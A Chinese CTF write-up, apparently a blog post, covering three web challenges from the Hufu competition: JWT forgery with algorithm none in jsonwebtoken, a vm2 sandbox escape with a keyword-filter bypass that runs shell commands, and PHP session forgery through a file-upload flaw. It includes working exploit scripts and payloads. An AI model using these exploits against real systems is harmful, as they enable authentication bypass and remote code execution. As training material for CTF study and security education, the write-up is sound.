虎符创新大赛(web部分)

easy_login

题目说明:
最近正在开始学习nodejs开发,不如先写个登陆界面练练手。什么,大佬说我的程序有bug?我写的代码逻辑完美顺利运行怎么可能出错?!错的一定是我的依赖库!!

提示说题目依赖库存在问题。
打开是个登录框
在这里插入图片描述
尝试注册admin用户,按提示来看应该已经有admin用户了,需要登录admin账号获取flag
在这里插入图片描述
查看源码
在这里插入图片描述 在这里插入图片描述

是登录注册等功能的一些函数,顶部有提示(比赛的时候就卡在这了。。。真的捞),提示的意思是static 是直接映射到程序根目录的,引发任意文件读取漏洞,可以获取程序源代码。
读取常见主文件app.js
在这里插入图片描述
分析上面的源码,再看到其功能点的文件/controllers/api.js,获取flag必须admin
在这里插入图片描述

注册功能
在这里插入图片描述
username 不为空且不是 admin,然后生成一个 secrets,存入全局数组 根据{secretid, username, password}, secret, {algorithm: ‘HS256’},生成一个 jwt 令牌。

登录功能
在这里插入图片描述
接受传入的 username 和 password,然后从令牌的信息段中取secret的 id,从程序中的全局数组取出secret,然后进行验证,验证使用 RS256 算法签发的 JWT,需要在文件系统上读取公钥文件里的内容。然后用 jwt 的 verify 方法去做验证。验证通过之后置 session 中的 username 为登录时使用的 username。
解释这里的secret和secretid。secretId, 门牌号。secretKey, 锁(服务端知道)和钥匙(客户端知道),就好像是API 层面的帐号和密码。

注册登陆都采用jwt认证,但是jwt的实现很奇怪,逻辑大概是,注册的时候会给每个用户生成一个单独的secret_token作为jwt的密钥,通过后端的一个全局列表来存储,登录的时候,单独解密jwt的第二部分获取用户传过来的id,这个id就是全局列表的键,通过id取出对应的secret_token再来解密用户传进来的jwt,如果解密成功就算登陆成功。

下面可以利用 node 的 jsonwebtoken 库的已知缺陷:当 jwt secret 为空时,jsonwebtoken 会采用 algorithm none 进行解密
在这里插入图片描述
在这里插入图片描述
弱类型语言中空数组,空字符串与数字比较永远为真。sid中限制不能为 undefined,null利用这个特性绕过。
在这里插入图片描述登录admin之后直接在输入框里输入get /api/flag就行
附上官方wp给出的脚本

import jwt
import requests

base_url = "http://0.0.0.0:10087" # 题目地址
s = requests.Session()
res = s.post(base_url+'/api/register', data={"username": "hhh", "password": "hhh"})
token = jwt.encode({"secretid":0.333,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')  #伪造token
res = s.post(base_url+'/api/login', data={"username": "admin", "password": "admin", "authorization": token})

res = s.get(base_url+'/api/flag')
print(res.text)

运行前安装jwt PyJWT库

just_escape

在这里插入图片描述
打开下面的/run.php?code= (2%2b6-7)/3看一下
在这里插入图片描述
对code这个参数进行测试
在这里插入图片描述
按出题人的提示,和上一题 感觉可能是node.js
在这里插入图片描述
F12大法 ,可以看到服务器是Express
在这里插入图片描述
比赛的时候到这就懵了
?code=Error().stack 根据报错信息发现是 vm2(用每种语言产生异常的代码 fuzz 一下)
在这里插入图片描述

https://github.com/patriksimek/vm2/issues/225 github vm2 的仓库搜索可得 vm2 最新沙盒逃逸 poc
在这里插入图片描述
主要是这段代码:

(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()'

直接丢进去,有个 waf果然没那么好白嫖
Fuzz得知拦截了[‘for’, ‘while’, ‘process’, ‘exec’, ‘eval’, ‘constructor’, ‘prototype’, ‘Function’, ‘+’, ‘"’,’’’]关键字

1.反引号来把文本括起来作为字符串(代替单双引号)
2.模板字符串嵌套来拼接要用到的被过滤的字符(代替加号)
具体可以看https://www.zhaoj.in/read-6512.html
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings
型如 ${${prototyp}e}

最终的payload:

?code=(function%20(){TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`]%20=%20f=%3Ef[`${`${`constructo`}r`}`](`${`${`return%20this.proces`}s`}`)();try{Object.preventExtensions(Buffer.from(``)).a%20=%201;}catch(e){return%20e[`${`${`get_proces`}s`}`](()=%3E{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();}})()

在这里插入图片描述在这里插入图片描述

babyupload

打开就送源代码
在这里插入图片描述

<?php
//将 session 的目录设置为 /var/babyctf/,并且启动 session,同时引入 /flag 
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
//如果 session 中 username 为 admin,并且 /var/babyctf/success.txt 存在,就 删除success.txt,并打印出 flag。
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
//如果 session 中 username 为guest,从POST获取相关参数,并用filter_input进行过滤,direction(upload/download)操作,attr 拼接在 /var/babyctf 路径后赋值给$dir_path,如果 attr 为 private 继续把session中的用户名继续拼接在后面。
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
//上传文件的 field 为 up_file,把文件名拼接在后面,同时加上下划线和这个文件内容的 sha256 摘要值。通过正则过滤路径穿越../这种,最后将文件移动到指定位置。
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
//获取要读取的文件名,拼接路径,通过正则过滤路径穿越,返回文件内容。
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

即满足session中的user为admin,有一个success.txt 文件就可以获得flag。

伪造session:
利用download读取自己的session
在这里插入图片描述
把这个值作为 f i l e n a m e 前 面 要 加 s e s s , 参 数 filename 前面要加sess_ ,参数 filenamesess,attr为空,$direction为download
在这里插入图片描述
发现session内容格式,没有竖线,参考 https://blog.spoock.com/2016/10/16/php-serialize-problem/ 判断其session处理器为php_binary
构造admin的session内容,利用upload的处attr和sha256拼接后缀的规则,进行bypass,往session目录上传的文件名为sess
因为内容是我们自己伪造的所以可以计算出它的摘要值,然后将 Cookie 中的 PHPSESSID 改为这个 sha256 值,伪造session成为admin

创建success.txt
利用attr的截断,将其改为 success.txt,即可去掉拼接的sha256后缀,达成任意文件名控制

可以用php生成对应的session文件,改名后上传。然后计算摘要值。
也可以用官方wp的脚本,改一下url和sess_PHPSESSID一把梭

# coding=utf-8
import requests
from io import BytesIO
import hashlib

target_url = "http://8b0be964-e751-43ac-a6dd-a9ded3c8260b.node3.buuoj.cn/"

def ReadSession():
	data = {
		'attr':'.',
		'direction':'download',
		'filename':'sess_d61a88009bc3941cc963337c26e2c540'
	}
	url = target_url
	s = requests.get(url=url)
	r = requests.post(url=url,data=data)
	print r.content[len(s.content):]

def BeAdmin():
	files = {
	    "up_file": ("sess", BytesIO('\x08usernames:5:"admin";'))
	}
	data = {
		'attr':'.',
		'direction':'upload'
	}
	url = target_url
	r = requests.post(url=url,data=data,files=files)
	session_id = hashlib.sha256('\x08usernames:5:"admin";').hexdigest()
	return session_id

def upload_success():
	files = {
	    "up_file": ("test", BytesIO('good job!'))
	}
	data = {
		'attr':'success.txt',
		'direction':'upload'
	}
	url = target_url
	r = requests.post(url=url,data=data,files=files)

print 'Now Guest PHPSESSION Content is:',ReadSession()
print 'PHPSESSID is:',BeAdmin()
print 'Now Upload Success.txt'
print '*'*50
upload_success()
php_session_id = BeAdmin()
cookies = {
	'PHPSESSID':php_session_id
}
url = target_url
s = requests.get(url)
r = requests.get(url=url,cookies=cookies)
print 'Now here is your flag!'
print r.content[len(s.content):]

在这里插入图片描述

参考:

https://evoa.me/index.php/archives/60/
https://www.jianshu.com/p/2036987a22fb
https://www.freebuf.com/column/234486.html
https://www.zhaoj.in/read-6512.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值